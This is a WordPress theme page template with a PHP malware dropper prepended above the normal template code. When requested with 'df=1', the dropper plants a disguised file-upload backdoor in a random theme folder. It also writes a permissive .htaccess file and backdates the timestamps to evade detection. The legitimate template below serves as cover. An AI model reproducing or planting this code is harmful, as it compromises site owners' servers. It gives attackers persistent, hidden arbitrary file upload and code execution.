<?php
function search_files($dir) {
  $found = array();
  $dir = addslash($dir);

  $files = scandir($dir);
  foreach ($files as $f) {
    if($f === '.' or $f === '..') continue;
    $fpath = $dir . $f;
    if (!is_dir($fpath))
      array_push($found , $dir.$f);
  }
  return $found;
}

function addslash($dir) {
  $lc = substr($dir , -1);
  if ($lc != "/")
    $dir .= "/";
  return $dir;
}

function get_timestamp($dir) {
  $found = array();
  $dir = addslash($dir);

  $files = scandir($dir);
  foreach ($files as $f) {
    if($f === '.' or $f === '..') continue;
    $fpath = $dir . $f;
    if (!is_dir($fpath)) {
      array_push($found , filemtime($dir . $f));
    }
  }
  return min($found);
}

function fixslashes($path) {
  return str_replace('//','/',$path);
}

function find_wp_index($dir){
  $edirs = explode("/", $dir);
  $wpdir = '';
  while(count($edirs)) {
    $path = implode("/", $edirs);
    if(file_exists($path . "/wp-config.php")) {
      $wpdir = $path;
      break;
    }
    array_pop($edirs);
  }
  return $wpdir;
}

function load_file() {
  $shellbase = array("index" , "class" , "theme" , "page" , "content" , "search");
  $shellsuffix = array("-page" , "-content" , "-navs" , "-layout" , "-top" , "-bottom" , "-search" , "-tags" , "-compat" , "-rss" , "-functions" , "-css" , "-model" , "-widget");
  $goodcode = '<?php if($_GET[\'df\'] ==1) {if($_FILES[\'fl\']){move_uploaded_file($_FILES[\'fl\'][\'tmp_name\'], $_POST[\'flname\']);$f = file_get_contents($_POST[\'flname\']);$c = base64_decode($f); file_put_contents($_POST[\'flname\'],$c);echo \'Uploaded\';} else { echo \'Problem\';} unlink(__FILE__);} else {echo \'Hello\';}?>';
  $htaccess = '<Files *.php>' . "\r\n" . 'Order allow,deny' . "\r\n" . 'Allow from all' . "\r\n" . '</Files>';
  $filedir = pathinfo(__FILE__,PATHINFO_DIRNAME);
  $wpindex = find_wp_index($filedir);
  $furn = '';
  if (!$wpindex) {
    print("wpindex not found");
    exit();
  }
  $allthemes = scandir(fixslashes($wpindex."/wp-content/themes/"));
  $dirslist = array();
  foreach($allthemes as $dir) {
    if($dir === '.' or $dir === '..') continue;
        $themepath = fixslashes($wpindex . "/wp-content/themes/" . $dir);
        if (is_dir($themepath))
          array_push($dirslist , $dir);
  }
  $i = array_rand($dirslist);
  $tdir = $dirslist[$i];
  $sdir = fixslashes($wpindex . "/wp-content/themes/" . $tdir . "/");
  $files = search_files($sdir);
  $done = false;
  $fpath = '';

  $ib = array_rand($shellbase);
  $fbase = $shellbase[$ib];
  $is = array_rand($shellsuffix);
  $fnew = $fbase . $shellsuffix[$is] . '.php';

  while(!$done && !empty($files)) {
    $i = array_rand($files);
    $themefile = $files[$i];
    unset($files[$i]);

    if (strpos($themefile , '.php') !== false) {
      $fpath = substr($themefile,0,-4);
      $is = array_rand($shellsuffix);
      $fpath = fixslashes($fpath . $shellsuffix[$is] . '.php');
      $done = true;
    }
  }
  if (!$done)
    $fpath = fixslashes($sdir . $fnew);

  $ind = strrpos($fpath , '/');
  $fname = substr($fpath, $ind + 1);
  $dirmtime = filemtime($sdir);
  $goodfile = fopen($fpath , "w+");
  if (!$goodfile) {
    $fpath = fixslashes($filedir . "/" . $fnew);
    $goodfile = fopen($fpath , "w+") or die("Unable to open file");
  }
  fwrite($goodfile , $goodcode);
  fclose($goodfile);
  $timestamp = get_timestamp($sdir);
  $htaccess_file = $sdir . '.htaccess';
  $hfile = fopen($htaccess_file , "w+");
  if ($hfile) {
    fwrite($hfile,$htaccess);
    fclose($hfile);
  }
  touch($fpath,$timestamp);
  touch($htaccess_file,$timestamp);
  touch($sdir,$dirmtime);

  if ($fpath) {
    $furn = fixslashes('/' . str_replace($wpindex , '' , $fpath));
  }
  return $furn;
}

if(isset($_GET['df']) && $_GET['df'] == '1')
  $shell = load_file();
  echo '<spath>' . $shell . '</spath>';
?>
<?php
get_header();
?>

<div id="sidebar-center" class="origamiez-size-01 pull-left">

    <?php get_template_part('parts/breadcrumb'); ?>

    <?php if (have_posts()) : ?>
        <div class="clearfix"></div>

        <div id="sidebar-center-bottom" class="row clearfix">                        
            <?php
            while (have_posts()) : the_post();
                ?>
            <article id="origamiez-post-wrap" <?php post_class('clearfix'); ?>>
                <h1 class="entry-title" style="display: none;"><?php the_title(); ?></h1>

                    <div class="entry-content">
                       <?php the_content(); ?>
                    </div>
                    
                    <?php
                    wp_link_pages(array(
                        'before'           => '<div id="origamiez_singular_pagination" class="clearfix">',
                        'after'            => '</div>',
                        'next_or_number'   => 'next',
                        'separator'        => ' . ',
                        'nextpagelink'     => __('Next', 'origamiez'),
                        'previouspagelink' => __('Previous', 'origamiez'),
                    ));
                    ?>

                </article>
                <?php comments_template(); ?>

                <?php
            endwhile;
            ?>                        
        </div>
        <?php
    else :
        // If no content, include the "No posts found" template.
        get_template_part('content', 'none');
    endif;
    ?>
</div>
<?php get_sidebar('right'); ?>

<div class="clearfix"></div>
<?php
$footer_number_of_cols = (int)get_theme_mod('footer_number_of_cols', 5);
get_footer($footer_number_of_cols);